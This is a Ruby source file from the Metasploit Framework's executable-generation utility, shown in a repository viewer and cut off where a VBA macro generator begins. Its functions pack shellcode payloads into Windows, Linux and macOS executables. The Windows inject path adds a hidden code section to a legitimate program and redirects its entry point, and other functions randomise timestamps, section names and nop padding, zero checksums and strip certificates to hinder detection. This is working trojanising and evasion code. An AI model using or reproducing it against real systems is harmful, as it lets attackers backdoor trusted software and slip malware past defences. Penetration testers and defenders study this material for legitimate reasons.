root / lib / msf / util / exe.rb @ master
History | View | Annotate | Download (62.6 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
###
|
| 6 |
#
|
| 7 |
# framework-util-exe
|
| 8 |
# --------------
|
| 9 |
#
|
| 10 |
# The class provides methods for creating and encoding executable file
|
| 11 |
# formats for various platforms. It is a replacement for the previous
|
| 12 |
# code in Rex::Text
|
| 13 |
#
|
| 14 |
###
|
| 15 |
|
| 16 |
module Msf |
| 17 |
module Util |
| 18 |
class EXE |
| 19 |
|
| 20 |
require 'rex'
|
| 21 |
require 'rex/peparsey'
|
| 22 |
require 'rex/pescan'
|
| 23 |
require 'rex/zip'
|
| 24 |
require 'metasm'
|
| 25 |
require 'digest/sha1'
|
| 26 |
|
| 27 |
##
|
| 28 |
#
|
| 29 |
# Helper functions common to multiple generators
|
| 30 |
#
|
| 31 |
##
|
| 32 |
|
| 33 |
def self.set_template_default(opts, exe = nil, path = nil) |
| 34 |
# If no path specified, use the default one.
|
| 35 |
path ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates") |
| 36 |
|
| 37 |
# If there's no default name, we must blow it up.
|
| 38 |
if not exe |
| 39 |
raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called w/o default exe name!' |
| 40 |
end
|
| 41 |
|
| 42 |
# Use defaults only if nothing is specified
|
| 43 |
opts[:template_path] ||= path
|
| 44 |
opts[:template] ||= exe
|
| 45 |
|
| 46 |
# Only use the path when the filename contains no separators.
|
| 47 |
if not opts[:template].include?(File::SEPARATOR) |
| 48 |
opts[:template] = File.join(opts[:template_path], opts[:template]) |
| 49 |
end
|
| 50 |
|
| 51 |
# Check if it exists now
|
| 52 |
return if File.file?(opts[:template]) |
| 53 |
|
| 54 |
# If it failed, try the default...
|
| 55 |
if opts[:fallback] |
| 56 |
default_template = File.join(path, exe)
|
| 57 |
if File.file?(default_template) |
| 58 |
# Perhaps we should warn about falling back to the default?
|
| 59 |
opts.merge!({ :fellback => default_template })
|
| 60 |
opts[:template] = default_template
|
| 61 |
end
|
| 62 |
end
|
| 63 |
end
|
| 64 |
|
| 65 |
|
| 66 |
##
|
| 67 |
#
|
| 68 |
# Executable generators
|
| 69 |
#
|
| 70 |
##
|
| 71 |
|
| 72 |
def self.to_executable(framework, arch, plat, code='', opts={}) |
| 73 |
if (arch.index(ARCH_X86)) |
| 74 |
|
| 75 |
if (plat.index(Msf::Module::Platform::Windows)) |
| 76 |
return to_win32pe(framework, code, opts)
|
| 77 |
end
|
| 78 |
|
| 79 |
if (plat.index(Msf::Module::Platform::Linux)) |
| 80 |
return to_linux_x86_elf(framework, code)
|
| 81 |
end
|
| 82 |
|
| 83 |
if(plat.index(Msf::Module::Platform::OSX)) |
| 84 |
return to_osx_x86_macho(framework, code)
|
| 85 |
end
|
| 86 |
|
| 87 |
# XXX: Add remaining x86 systems here
|
| 88 |
end
|
| 89 |
|
| 90 |
if( arch.index(ARCH_X86_64) or arch.index( ARCH_X64 ) ) |
| 91 |
if (plat.index(Msf::Module::Platform::Windows)) |
| 92 |
return to_win64pe(framework, code, opts)
|
| 93 |
end
|
| 94 |
|
| 95 |
if (plat.index(Msf::Module::Platform::Linux)) |
| 96 |
return to_linux_x64_elf(framework, code, opts)
|
| 97 |
end
|
| 98 |
|
| 99 |
if (plat.index(Msf::Module::Platform::OSX)) |
| 100 |
return to_osx_x64_macho(framework, code)
|
| 101 |
end
|
| 102 |
end
|
| 103 |
|
| 104 |
if(arch.index(ARCH_ARMLE)) |
| 105 |
if(plat.index(Msf::Module::Platform::OSX)) |
| 106 |
return to_osx_arm_macho(framework, code)
|
| 107 |
end
|
| 108 |
|
| 109 |
if(plat.index(Msf::Module::Platform::Linux)) |
| 110 |
return to_linux_armle_elf(framework, code)
|
| 111 |
end
|
| 112 |
|
| 113 |
# XXX: Add remaining ARMLE systems here
|
| 114 |
end
|
| 115 |
|
| 116 |
if(arch.index(ARCH_PPC)) |
| 117 |
if(plat.index(Msf::Module::Platform::OSX)) |
| 118 |
return to_osx_ppc_macho(framework, code)
|
| 119 |
end
|
| 120 |
# XXX: Add PPC OS X and Linux here
|
| 121 |
end
|
| 122 |
nil
|
| 123 |
end
|
| 124 |
|
| 125 |
|
| 126 |
def self.to_win32pe(framework, code, opts={}) |
| 127 |
|
| 128 |
# For backward compatability, this is roughly equivalent to 'exe-small' fmt
|
| 129 |
if opts[:sub_method] |
| 130 |
if opts[:inject] |
| 131 |
raise RuntimeError, 'NOTE: using the substitution method means no inject support' |
| 132 |
end
|
| 133 |
|
| 134 |
# use
|
| 135 |
return self.to_win32pe_exe_sub(framework, code, opts) |
| 136 |
end
|
| 137 |
|
| 138 |
# Allow the user to specify their own EXE template
|
| 139 |
set_template_default(opts, "template_x86_windows.exe")
|
| 140 |
|
| 141 |
# Copy the code to a new RWX segment to allow for self-modifying encoders
|
| 142 |
payload = win32_rwx_exec(code) |
| 143 |
|
| 144 |
# Create a new PE object and run through sanity checks
|
| 145 |
endjunk = true
|
| 146 |
fsize = File.size(opts[:template]) |
| 147 |
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true) |
| 148 |
text = nil
|
| 149 |
sections_end = 0
|
| 150 |
pe.sections.each do |sec|
|
| 151 |
text = sec if sec.name == ".text" |
| 152 |
sections_end = sec.size + sec.file_offset if sec.file_offset >= sections_end
|
| 153 |
endjunk = false if sec.contains_file_offset?(fsize-1) |
| 154 |
end
|
| 155 |
#also check to see if there is a certificate
|
| 156 |
cert_entry = pe.hdr.opt['DataDirectory'][4] |
| 157 |
#if the cert is the only thing past the sections, we can handle.
|
| 158 |
if cert_entry.v['VirtualAddress'] + cert_entry.v['Size'] >= fsize and sections_end >= cert_entry.v['VirtualAddress'] |
| 159 |
endjunk = false
|
| 160 |
end
|
| 161 |
|
| 162 |
#try to inject code into executable by adding a section without affecting executable behavior
|
| 163 |
if(opts[:inject]) |
| 164 |
if endjunk
|
| 165 |
raise RuntimeError, "Junk at end of file. Is this a packed exe?" |
| 166 |
end
|
| 167 |
|
| 168 |
#find first section file offset and free RVA for new section
|
| 169 |
free_rva = pe.hdr.opt.AddressOfEntryPoint |
| 170 |
first_off = sections_end |
| 171 |
pe.sections.each do |sec|
|
| 172 |
first_off = sec.file_offset if sec.file_offset < first_off
|
| 173 |
free_rva = sec.raw_size + sec.vma if sec.raw_size + sec.vma > free_rva
|
| 174 |
end
|
| 175 |
#align free_rva
|
| 176 |
free_rva += (pe.hdr.opt.SectionAlignment-(free_rva % pe.hdr.opt.SectionAlignment)) % pe.hdr.opt.SectionAlignment |
| 177 |
|
| 178 |
#See if we can add a section
|
| 179 |
first_sechead_file_off = pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + pe.hdr.file.SizeOfOptionalHeader |
| 180 |
new_sechead_file_off = first_sechead_file_off + pe.hdr.file.NumberOfSections * Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER |
| 181 |
if new_sechead_file_off + Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER > first_off |
| 182 |
raise RuntimeError, "Not enough room for new section header" |
| 183 |
end
|
| 184 |
|
| 185 |
# figure out where in the new section to put the start. Right now just putting at the beginning of the new section
|
| 186 |
start_rva = free_rva |
| 187 |
|
| 188 |
#make new section, starting at free RVA
|
| 189 |
new_sec = win32_rwx_exec_thread(code, pe.hdr.opt.AddressOfEntryPoint - start_rva) |
| 190 |
#pad to file alignment
|
| 191 |
new_sec += "\x00" * (pe.hdr.opt.SectionAlignment-(new_sec.length % pe.hdr.opt.SectionAlignment))
|
| 192 |
|
| 193 |
#make new section header
|
| 194 |
new_sechead = Rex::PeParsey::PeBase::IMAGE_SECTION_HEADER.make_struct |
| 195 |
new_sechead.v['Name'] = Rex::Text.rand_text_alpha(4)+"\x00"*4 # no name |
| 196 |
new_sechead.v['Characteristics'] = 0x60000020 # READ, EXECUTE, CODE |
| 197 |
new_sechead.v['VirtualAddress'] = free_rva
|
| 198 |
new_sechead.v['SizeOfRawData'] = new_sec.length
|
| 199 |
new_sechead.v['PointerToRawData'] = sections_end
|
| 200 |
|
| 201 |
# Create the modified version of the input executable
|
| 202 |
exe = ''
|
| 203 |
File.open(opts[:template], 'rb') { |fd| |
| 204 |
exe = fd.read(fd.stat.size) |
| 205 |
} |
| 206 |
|
| 207 |
#New file header with updated number of sections and timedatestamp
|
| 208 |
new_filehead = Rex::PeParsey::PeBase::IMAGE_FILE_HEADER.make_struct |
| 209 |
new_filehead.from_s(exe[pe.hdr.dos.e_lfanew, Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE]) |
| 210 |
new_filehead.v['NumberOfSections'] = pe.hdr.file.NumberOfSections + 1 |
| 211 |
new_filehead.v['TimeDateStamp'] = pe.hdr.file.TimeDateStamp - rand(0x1000000) |
| 212 |
exe[pe.hdr.dos.e_lfanew, new_filehead.to_s.length] = new_filehead.to_s |
| 213 |
|
| 214 |
#new optional header with new entry point, size of image, and size of code
|
| 215 |
new_opthead = Rex::PeParsey::PeBase::IMAGE_OPTIONAL_HEADER32.make_struct |
| 216 |
new_opthead.from_s(exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader]) |
| 217 |
new_opthead.v['AddressOfEntryPoint'] = start_rva
|
| 218 |
new_opthead.v['SizeOfImage'] = free_rva + new_sec.length
|
| 219 |
new_opthead.v['SizeOfCode'] = pe.hdr.opt.SizeOfCode + new_sec.length
|
| 220 |
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader] = new_opthead.to_s |
| 221 |
#kill bound import table; if it exists, we probably overwrote it with our new section and they dont even need it anyway
|
| 222 |
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 184, 8] = "\x00"*8 |
| 223 |
#kill certificate; if it exists, we just invalidated it
|
| 224 |
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 128, 8] = "\x00"*8 |
| 225 |
|
| 226 |
#new section header and new section
|
| 227 |
exe[new_sechead_file_off, new_sechead.to_s.length] = new_sechead.to_s |
| 228 |
exe[new_sechead.v['PointerToRawData'], new_sec.length] = new_sec
|
| 229 |
exe.slice!((new_sechead.v['PointerToRawData'] + new_sec.length)..-1) |
| 230 |
|
| 231 |
cks = pe.hdr.opt.CheckSum |
| 232 |
if(cks != 0) |
| 233 |
exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V") |
| 234 |
end
|
| 235 |
|
| 236 |
pe.close |
| 237 |
|
| 238 |
return exe
|
| 239 |
end
|
| 240 |
|
| 241 |
if(not text) |
| 242 |
raise RuntimeError, "No .text section found in the template" |
| 243 |
end
|
| 244 |
|
| 245 |
if ! text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
|
| 246 |
raise RuntimeError, "The .text section does not contain an entry point" |
| 247 |
end
|
| 248 |
|
| 249 |
if(text.size < (payload.length + 256)) |
| 250 |
raise RuntimeError, "The .text section is too small to be usable" |
| 251 |
end
|
| 252 |
|
| 253 |
# Store some useful offsets
|
| 254 |
off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint) |
| 255 |
off_beg = pe.rva_to_file_offset(text.base_rva) |
| 256 |
|
| 257 |
# We need to make sure our injected code doesn't conflict with the
|
| 258 |
# the data directories stored in .text (import, export, etc)
|
| 259 |
mines = [] |
| 260 |
pe.hdr.opt['DataDirectory'].each do |dir| |
| 261 |
next if dir.v['Size'] == 0 |
| 262 |
next if not text.contains_rva?( dir.v['VirtualAddress'] ) |
| 263 |
mines << [ pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg, dir.v['Size'] ] |
| 264 |
end
|
| 265 |
|
| 266 |
# Break the text segment into contiguous blocks
|
| 267 |
blocks = [] |
| 268 |
bidx = 0
|
| 269 |
mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|
|
| 270 |
bbeg = bidx |
| 271 |
bend = mine[0]
|
| 272 |
if(bbeg != bend)
|
| 273 |
blocks << [bidx, bend-bidx] |
| 274 |
end
|
| 275 |
bidx = mine[0] + mine[1] |
| 276 |
end
|
| 277 |
|
| 278 |
# Add the ending block
|
| 279 |
if(bidx < text.size - 1) |
| 280 |
blocks << [bidx, text.size - bidx] |
| 281 |
end
|
| 282 |
|
| 283 |
# Find the largest contiguous block
|
| 284 |
blocks.sort!{|a,b| b[1]<=>a[1]}
|
| 285 |
block = blocks[0]
|
| 286 |
|
| 287 |
# TODO: Allow the entry point in a different block
|
| 288 |
if(payload.length + 256 > block[1]) |
| 289 |
raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+256} found:#{block[1]})" |
| 290 |
end
|
| 291 |
|
| 292 |
# Make a copy of the entire .text section
|
| 293 |
data = text.read(0,text.size)
|
| 294 |
|
| 295 |
# Pick a random offset to store the payload
|
| 296 |
poff = rand(block[1] - payload.length - 256) |
| 297 |
|
| 298 |
# Flip a coin to determine if EP is before or after
|
| 299 |
eloc = rand(2)
|
| 300 |
eidx = nil
|
| 301 |
|
| 302 |
# Pad the entry point with random nops
|
| 303 |
entry = generate_nops(framework, [ARCH_X86], rand(200)+51) |
| 304 |
|
| 305 |
# Pick an offset to store the new entry point
|
| 306 |
if(eloc == 0) # place the entry point before the payload |
| 307 |
poff += 256
|
| 308 |
eidx = rand(poff-(entry.length + 5))
|
| 309 |
else # place the entry pointer after the payload |
| 310 |
poff -= 256
|
| 311 |
eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length
|
| 312 |
end
|
| 313 |
|
| 314 |
# Relative jump from the end of the nops to the payload
|
| 315 |
entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V') |
| 316 |
|
| 317 |
# Mangle 25% of the original executable
|
| 318 |
1.upto(block[1] / 4) do |
| 319 |
data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C") |
| 320 |
end
|
| 321 |
|
| 322 |
# Patch the payload and the new entry point into the .text
|
| 323 |
data[block[0] + poff, payload.length] = payload
|
| 324 |
data[block[0] + eidx, entry.length] = entry
|
| 325 |
|
| 326 |
# Create the modified version of the input executable
|
| 327 |
exe = ''
|
| 328 |
File.open(opts[:template], 'rb') { |fd| |
| 329 |
exe = fd.read(fd.stat.size) |
| 330 |
} |
| 331 |
|
| 332 |
exe[ exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = [ text.base_rva + block[0] + eidx ].pack("V") |
| 333 |
exe[off_beg, data.length] = data |
| 334 |
|
| 335 |
tds = pe.hdr.file.TimeDateStamp |
| 336 |
exe[ exe.index([ tds ].pack('V')), 4] = [tds - rand(0x1000000)].pack("V") |
| 337 |
|
| 338 |
cks = pe.hdr.opt.CheckSum |
| 339 |
if(cks != 0) |
| 340 |
exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V") |
| 341 |
end
|
| 342 |
|
| 343 |
pe.close |
| 344 |
|
| 345 |
exe |
| 346 |
end
|
| 347 |
|
| 348 |
|
| 349 |
def self.to_win32pe_old(framework, code, opts={}) |
| 350 |
|
| 351 |
# Allow the user to specify their own EXE template
|
| 352 |
set_template_default(opts, "template_x86_windows_old.exe")
|
| 353 |
|
| 354 |
pe = ''
|
| 355 |
File.open(opts[:template], "rb") { |fd| |
| 356 |
pe = fd.read(fd.stat.size) |
| 357 |
} |
| 358 |
|
| 359 |
if(code.length < 2048) |
| 360 |
code << Rex::Text.rand_text(2048-code.length) |
| 361 |
end
|
| 362 |
|
| 363 |
if(code.length > 2048) |
| 364 |
raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module" |
| 365 |
end
|
| 366 |
|
| 367 |
bo = pe.index('PAYLOAD:')
|
| 368 |
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag" if not bo |
| 369 |
pe[bo, code.length] = code |
| 370 |
|
| 371 |
pe[136, 4] = [rand(0x100000000)].pack('V') |
| 372 |
|
| 373 |
ci = pe.index("\x31\xc9" * 160) |
| 374 |
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\"" if not ci |
| 375 |
cd = pe.index("\x31\xc9" * 160, ci + 320) |
| 376 |
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\"" if not cd |
| 377 |
rc = pe[ci+320, cd-ci-320] |
| 378 |
|
| 379 |
# 640 + rc.length bytes of room to store an encoded rc at offset ci
|
| 380 |
enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32) |
| 381 |
lft = 640+rc.length - enc.length
|
| 382 |
|
| 383 |
buf = enc + Rex::Text.rand_text(640+rc.length - enc.length) |
| 384 |
pe[ci, buf.length] = buf |
| 385 |
|
| 386 |
# Make the data section executable
|
| 387 |
xi = pe.index([0xc0300040].pack('V')) |
| 388 |
pe[xi,4] = [0xe0300020].pack('V') |
| 389 |
|
| 390 |
# Add a couple random bytes for fun
|
| 391 |
pe << Rex::Text.rand_text(rand(64)+4) |
| 392 |
|
| 393 |
return pe
|
| 394 |
end
|
| 395 |
|
| 396 |
def self.to_win32pe_exe_sub(framework, code, opts={}) |
| 397 |
|
| 398 |
# Allow the user to specify their own DLL template
|
| 399 |
set_template_default(opts, "template_x86_windows.exe")
|
| 400 |
|
| 401 |
pe = ''
|
| 402 |
File.open(opts[:template], "rb") { |fd| |
| 403 |
pe = fd.read(fd.stat.size) |
| 404 |
} |
| 405 |
|
| 406 |
bo = pe.index('PAYLOAD:')
|
| 407 |
raise RuntimeError, "Invalid Win32 PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo |
| 408 |
pe[bo, 8192] = [code].pack("a8192") |
| 409 |
|
| 410 |
return pe
|
| 411 |
end
|
| 412 |
|
| 413 |
|
| 414 |
def self.to_win64pe(framework, code, opts={}) |
| 415 |
|
| 416 |
# Allow the user to specify their own EXE template
|
| 417 |
set_template_default(opts, "template_x64_windows.exe")
|
| 418 |
|
| 419 |
pe = ''
|
| 420 |
File.open(opts[:template], "rb") { |fd| |
| 421 |
pe = fd.read(fd.stat.size) |
| 422 |
} |
| 423 |
|
| 424 |
bo = pe.index('PAYLOAD:')
|
| 425 |
raise RuntimeError, "Invalid Win64 PE EXE template: missing \"PAYLOAD:\" tag" if not bo |
| 426 |
pe[bo, code.length] = code |
| 427 |
|
| 428 |
return pe
|
| 429 |
end
|
| 430 |
|
| 431 |
def self.to_win32pe_service(framework, code, opts={}) |
| 432 |
|
| 433 |
name = opts[:servicename]
|
| 434 |
|
| 435 |
# Allow the user to specify their own service EXE template
|
| 436 |
set_template_default(opts, "template_x86_windows_svc.exe")
|
| 437 |
|
| 438 |
pe = ''
|
| 439 |
File.open(opts[:template], 'rb') { |fd| |
| 440 |
pe = fd.read(fd.stat.size) |
| 441 |
} |
| 442 |
|
| 443 |
bo = pe.index('PAYLOAD:')
|
| 444 |
raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo |
| 445 |
pe[bo, 8192] = [code].pack("a8192") |
| 446 |
|
| 447 |
if name
|
| 448 |
bo = pe.index('SERVICENAME')
|
| 449 |
raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo |
| 450 |
pe[bo, 11] = [name].pack('a11') |
| 451 |
end
|
| 452 |
|
| 453 |
if not opts[:sub_method] |
| 454 |
pe[136, 4] = [rand(0x100000000)].pack('V') |
| 455 |
end
|
| 456 |
|
| 457 |
return pe
|
| 458 |
end
|
| 459 |
|
| 460 |
def self.to_win64pe_service(framework, code, opts={}) |
| 461 |
|
| 462 |
name = opts[:servicename]
|
| 463 |
|
| 464 |
# Allow the user to specify their own service EXE template
|
| 465 |
set_template_default(opts, "template_x64_windows_svc.exe")
|
| 466 |
|
| 467 |
pe = ''
|
| 468 |
File.open(opts[:template], "rb") { |fd| |
| 469 |
pe = fd.read(fd.stat.size) |
| 470 |
} |
| 471 |
|
| 472 |
bo = pe.index('PAYLOAD:')
|
| 473 |
raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo |
| 474 |
pe[bo, 8192] = [code].pack("a8192") |
| 475 |
|
| 476 |
if name
|
| 477 |
bo = pe.index('SERVICENAME')
|
| 478 |
raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo |
| 479 |
pe[bo, 11] = [name].pack('a11') |
| 480 |
end
|
| 481 |
|
| 482 |
if not opts[:sub_method] |
| 483 |
pe[136, 4] = [rand(0x100000000)].pack('V') |
| 484 |
end
|
| 485 |
|
| 486 |
return pe
|
| 487 |
end
|
| 488 |
|
| 489 |
def self.to_win32pe_dll(framework, code, opts={}) |
| 490 |
|
| 491 |
# Allow the user to specify their own DLL template
|
| 492 |
set_template_default(opts, "template_x86_windows.dll")
|
| 493 |
|
| 494 |
pe = ''
|
| 495 |
File.open(opts[:template], "rb") { |fd| |
| 496 |
pe = fd.read(fd.stat.size) |
| 497 |
} |
| 498 |
|
| 499 |
bo = pe.index('PAYLOAD:')
|
| 500 |
raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo |
| 501 |
pe[bo, 8192] = [code].pack("a8192") |
| 502 |
|
| 503 |
# optional mutex
|
| 504 |
mt = pe.index('MUTEX!!!')
|
| 505 |
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt |
| 506 |
|
| 507 |
return pe
|
| 508 |
end
|
| 509 |
|
| 510 |
def self.to_win64pe_dll(framework, code, opts={}) |
| 511 |
|
| 512 |
# Allow the user to specify their own DLL template
|
| 513 |
set_template_default(opts, "template_x64_windows.dll")
|
| 514 |
|
| 515 |
pe = ''
|
| 516 |
File.open(opts[:template], "rb") { |fd| |
| 517 |
pe = fd.read(fd.stat.size) |
| 518 |
} |
| 519 |
|
| 520 |
bo = pe.index('PAYLOAD:')
|
| 521 |
raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo |
| 522 |
pe[bo, 8192] = [code].pack("a8192") |
| 523 |
|
| 524 |
# optional mutex
|
| 525 |
mt = pe.index('MUTEX!!!')
|
| 526 |
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt |
| 527 |
|
| 528 |
return pe
|
| 529 |
end
|
| 530 |
|
| 531 |
def self.to_osx_arm_macho(framework, code, opts={}) |
| 532 |
|
| 533 |
# Allow the user to specify their own template
|
| 534 |
set_template_default(opts, "template_armle_darwin.bin")
|
| 535 |
|
| 536 |
mo = ''
|
| 537 |
File.open(opts[:template], "rb") { |fd| |
| 538 |
mo = fd.read(fd.stat.size) |
| 539 |
} |
| 540 |
|
| 541 |
bo = mo.index('PAYLOAD:')
|
| 542 |
raise RuntimeError, "Invalid OSX ArmLE Mach-O template: missing \"PAYLOAD:\" tag" if not bo |
| 543 |
mo[bo, code.length] = code |
| 544 |
|
| 545 |
return mo
|
| 546 |
end
|
| 547 |
|
| 548 |
def self.to_osx_ppc_macho(framework, code, opts={}) |
| 549 |
|
| 550 |
# Allow the user to specify their own template
|
| 551 |
set_template_default(opts, "template_ppc_darwin.bin")
|
| 552 |
|
| 553 |
mo = ''
|
| 554 |
File.open(opts[:template], "rb") { |fd| |
| 555 |
mo = fd.read(fd.stat.size) |
| 556 |
} |
| 557 |
|
| 558 |
bo = mo.index('PAYLOAD:')
|
| 559 |
raise RuntimeError, "Invalid OSX PPC Mach-O template: missing \"PAYLOAD:\" tag" if not bo |
| 560 |
mo[bo, code.length] = code |
| 561 |
|
| 562 |
return mo
|
| 563 |
end
|
| 564 |
|
| 565 |
def self.to_osx_x86_macho(framework, code, opts={}) |
| 566 |
|
| 567 |
# Allow the user to specify their own template
|
| 568 |
set_template_default(opts, "template_x86_darwin.bin")
|
| 569 |
|
| 570 |
mo = ''
|
| 571 |
File.open(opts[:template], "rb") { |fd| |
| 572 |
mo = fd.read(fd.stat.size) |
| 573 |
} |
| 574 |
|
| 575 |
bo = mo.index('PAYLOAD:')
|
| 576 |
raise RuntimeError, "Invalid OSX x86 Mach-O template: missing \"PAYLOAD:\" tag" if not bo |
| 577 |
mo[bo, code.length] = code |
| 578 |
|
| 579 |
return mo
|
| 580 |
end
|
| 581 |
|
| 582 |
def self.to_osx_x64_macho(framework, code, opts={}) |
| 583 |
set_template_default(opts, "template_x64_darwin.bin")
|
| 584 |
|
| 585 |
macho = ''
|
| 586 |
|
| 587 |
File.open(opts[:template], 'rb') { |fd| |
| 588 |
macho = fd.read(fd.stat.size) |
| 589 |
} |
| 590 |
|
| 591 |
bin = macho.index('PAYLOAD:')
|
| 592 |
raise RuntimeError, "Invalid Mac OS X x86_64 Mach-O template: missing \"PAYLOAD:\" tag" if not bin |
| 593 |
macho[bin, code.length] = code |
| 594 |
|
| 595 |
return macho
|
| 596 |
end
|
| 597 |
|
| 598 |
#
|
| 599 |
# Create a 64-bit Linux ELF containing the payload provided in +code+
|
| 600 |
#
|
| 601 |
def self.to_linux_x64_elf(framework, code, opts={}) |
| 602 |
set_template_default(opts, "template_x64_linux.bin")
|
| 603 |
|
| 604 |
elf = ''
|
| 605 |
File.open(opts[:template], "rb") { |fd| |
| 606 |
elf = fd.read(fd.stat.size) |
| 607 |
} |
| 608 |
|
| 609 |
#Append shellcode
|
| 610 |
elf << code |
| 611 |
|
| 612 |
#Modify size
|
| 613 |
elf[96, 8] = [120 + code.length].pack('Q') #p_filesz |
| 614 |
elf[104,8] = [120 + code.length].pack('Q') #p_memsz |
| 615 |
|
| 616 |
return elf
|
| 617 |
end
|
| 618 |
|
| 619 |
#
|
| 620 |
# Create a 32-bit Linux ELF containing the payload provided in +code+
|
| 621 |
#
|
| 622 |
# For the default template, this method just appends the payload. For
|
| 623 |
# user-provided templates, modifies the header to mark all executable
|
| 624 |
# segments as writable and overwrites the entrypoint (usually _start) with
|
| 625 |
# the payload.
|
| 626 |
#
|
| 627 |
def self.to_linux_x86_elf(framework, code, opts={}) |
| 628 |
unless opts[:template] |
| 629 |
default = true
|
| 630 |
end
|
| 631 |
|
| 632 |
# Allow the user to specify their own template
|
| 633 |
set_template_default(opts, "template_x86_linux.bin")
|
| 634 |
|
| 635 |
# The old way to do it is like other formats, just overwrite a big
|
| 636 |
# block of rwx mem with our shellcode.
|
| 637 |
#bo = elf.index( "\x90\x90\x90\x90" * 1024 )
|
| 638 |
#co = elf.index( " " * 512 )
|
| 639 |
#elf[bo, 2048] = [code].pack('a2048') if bo
|
| 640 |
|
| 641 |
if default
|
| 642 |
# The new template is just an ELF header with its entry point set to
|
| 643 |
# the end of the file, so just append shellcode to it and fixup
|
| 644 |
# p_filesz and p_memsz in the header for a working ELF executable.
|
| 645 |
elf = ''
|
| 646 |
File.open(opts[:template], "rb") { |fd| |
| 647 |
elf = fd.read(fd.stat.size) |
| 648 |
} |
| 649 |
|
| 650 |
elf << code |
| 651 |
elf[0x44,4] = [elf.length + code.length].pack('V') |
| 652 |
elf[0x48,4] = [elf.length + code.length].pack('V') |
| 653 |
else
|
| 654 |
# If this isn't our normal template, we have to do some fancy
|
| 655 |
# header patching to mark the .text section rwx before putting our
|
| 656 |
# payload into the entry point.
|
| 657 |
|
| 658 |
# read in the template and parse it
|
| 659 |
e = Metasm::ELF.decode_file(opts[:template]) |
| 660 |
|
| 661 |
# This will become a modified copy of the template's original phdr
|
| 662 |
new_phdr = Metasm::EncodedData.new |
| 663 |
e.segments.each { |s|
|
| 664 |
# Be lazy and mark any executable segment as writable. Doing
|
| 665 |
# it this way means we don't have to care about which one
|
| 666 |
# contains .text
|
| 667 |
if s.flags.include? "X" |
| 668 |
s.flags += [ "W" ]
|
| 669 |
end
|
| 670 |
new_phdr << s.encode(e) |
| 671 |
} |
| 672 |
|
| 673 |
# Copy the original file
|
| 674 |
elf = File.open(opts[:template], "rb") {|fd| fd.read(fd.stat.size) } |
| 675 |
|
| 676 |
# Replace the header with our rwx modified version
|
| 677 |
elf[e.header.phoff, new_phdr.data.length] = new_phdr.data |
| 678 |
|
| 679 |
# Replace code at the entrypoint with our payload
|
| 680 |
entry_off = e.addr_to_off(e.label_addr('entrypoint'))
|
| 681 |
elf[entry_off, code.length] = code |
| 682 |
end
|
| 683 |
|
| 684 |
return elf
|
| 685 |
end
|
| 686 |
|
| 687 |
def self.to_linux_armle_elf(framework, code, opts={}) |
| 688 |
|
| 689 |
# Allow the user to specify their own template
|
| 690 |
set_template_default(opts, "template_armle_linux.bin")
|
| 691 |
|
| 692 |
elf = ''
|
| 693 |
File.open(opts[:template], "rb") { |fd| |
| 694 |
elf = fd.read(fd.stat.size) |
| 695 |
} |
| 696 |
|
| 697 |
# The template is just an ELF header with its entrypoint set to the
|
| 698 |
# end of the file, so just append shellcode to it and fixup p_filesz
|
| 699 |
# and p_memsz in the header for a working ELF executable.
|
| 700 |
elf << code |
| 701 |
elf[0x44,4] = [elf.length + code.length].pack('V') |
| 702 |
elf[0x48,4] = [elf.length + code.length].pack('V') |
| 703 |
|
| 704 |
return elf
|
| 705 |
end
|
| 706 |
|
| 707 |
def self.to_exe_vba(exes='') |
| 708 |
exe = exes.unpack('C*')
|
| 709 |
vba = ""
|
| 710 |
idx = 0
|
| 711 |
maxbytes = 2000
|
| 712 |
|
| 713 |
var_magic = Rex::Text.rand_text_alpha(10).capitalize |
| 714 |
var_base = Rex::Text.rand_text_alpha(5).capitalize |
| 715 |
var_base_idx = 0
|
| 716 |
|
| 717 |
# First write the macro into the vba file
|
| 718 |
